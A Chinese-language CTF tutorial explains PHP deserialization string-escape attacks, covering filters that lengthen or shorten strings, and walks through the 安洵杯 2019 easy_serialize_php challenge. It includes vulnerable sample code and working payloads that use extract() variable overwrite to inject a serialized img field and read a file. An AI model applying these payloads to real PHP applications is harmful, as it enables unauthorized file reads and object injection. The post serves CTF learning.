前置知识
学字符串逃逸前,首先要知道为什么可以造成字符串逃逸,以及php反序列化的几大特性。
php反序列化中以”;”作为字段的分隔,以”}”作为结尾(字符串除外),长度不对应时会报错
以我的结论来说,为什么会造成字符串逃逸:
一句话就是”}”结束符会闭合,导致我们输入的恶意代码会被正常的序列化,而后面的字符,因为提前闭合了,就会被舍弃。
两种情况
1 2 3 4
| 过滤后字符减少 {意思就是例如我们输入了hello的字符他会检测并会替换我们输进去的hello变成字符hacker,那么字符增多的意思就是hello比hacker少了1位,他就会多出1位,如果替换的字符是hack那么hack比hello少了一位} 过滤后字符增多
|
字符增多情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php function str($string) { $filter = array('CTF', 'escaped', 'hello'); $filter = '/' . implode('|', $filter) . '/i'; return preg_replace($filter, 'hacker', $string); }
class escape { public $name ='ysper'; public $phone ='123456';
} $AA=new escape(); echo serialize($AA)."\n"; $res= str(serialize($AA)); echo $res."\n";
?>
|
1
| O:6:"escape":2{s:4:"name";s:5:"ysper";s:5:"phone";s:6:"123456";}
|
这是正常的序列化,那么我们想要phone的值为其他的但是却不改变他原有的赋值,就例如我们让phone的值想为110,那么怎么才能让我们构造的字符逃逸出去,并且把原来的值给舍弃呢
1 2
| O:6:"escape":2{s:4:"name";s:5:"ysper";s:5:"phone";s:6:"110";} 这是我们想要的结果
|
那么构造的时候我们就可以利用”}”来提前闭合字符串,让它原有的字符给舍弃掉
1 2
| ";s:5:"ysper";s:5:"phone";s:6:"110";} 这些就是我们想要的结果,把他们逃逸出去
|
那我们就可以利用字符增多的情况
1 2
| ";s:5:"ysper";s:5:"phone";s:6:"110";} 共有37个字符那么我们就构造若干个要被过滤的字符,使他们的逃逸的字符有37个
|
那么我们构造并可以逃逸37个字符的那么方法就是12个CTF和一个hello,12个CTF可以逃逸36个,一个hello逃逸一个,正好37
本地测试
小皮搭建环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php highlight_file(__FILE__); function text($str) { return str_replace('ctf', 'hack', $str);} $x['name']="$_GET[name]"; $x['phone']="$_GET[phone]";
$r = text(serialize($x)); echo $r; echo "<br>"; $re = unserialize($r); echo $re['name']; echo "<br>"; echo $re['phone']; echo "<br>"; var_dump(unserialize($r)); ?>
|

现在我们要逃逸的字符串
1 2
| ";s:5:"phone";s:3:"110";}要逃逸的 ";s:0:"";s:5:"phone";s:0:"";}原先的
|
有25位那么就需要25个ctf,逃逸出25个字符
payload就为
1
| ctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctfctf";s:5:"phone";s:3:"110";}
|

这样就成功了,把我们的phone修改为了110而不是我们赋值进去的1。
字符减少情况

1
| ";s:5:"phone";s:3:"110";}
|
同样的也是,这里替换后少了4个字符,自然就会报错,那么我们要把我们构造的字符缩进去,就需要
构造这么多位
因为在”;s:5:”phone”;s:1:” 这个后面是我们要控制的,让phone的值缩进去
但是在运行的时候需要构造20位因为s后面1要变成两位因为计算的还有后面phone的值大于9

实际例题演示
[安洵杯 2019]easy_serialize_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
题目我们可以拉到小皮里面自己先行测试
通过源码我们可以获取到两种解决方法
键名逃逸
由于使用了extract($_POST);函数会导致变量覆盖所以利用键名和他的替换函数构造我们想要的结果

这是最开始的样子没有任何赋值
然后我们利用变量覆盖
当我们传入
1 2
| _SESSION[flag]=1 的时候,观察序列化后的内容 a:2:{s:4:"";s:1:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
这个时候我们想利用的是
1
| ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
我们就要想办法
自己构造出一个变量因为**a:2:**需要的是两个
1
| a:2:{s:4:"";s:1:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}这里面的不是合法的表达式
|
构造出一个
1
| ";s:1:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|

这里看到序列化后传进去了两个变量
“;s:49:”这代表一个变量,共有八个字符,所以在_SESSION[]里面要写入两个flag,让后面的缩进去
最后的结果就变成了

这样就把我们的img变量插进去了,后面构成的闭合,把后面的变量舍弃了。
键值逃逸

利用SESSION[user],传入若干个flag,把function往前面缩,
我们要缩进去的为
1
| ";s:8:"function";s:10:" 23个字符
|
所以user要传进去23个字符
payload
1
| _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
|
实现的结果就是

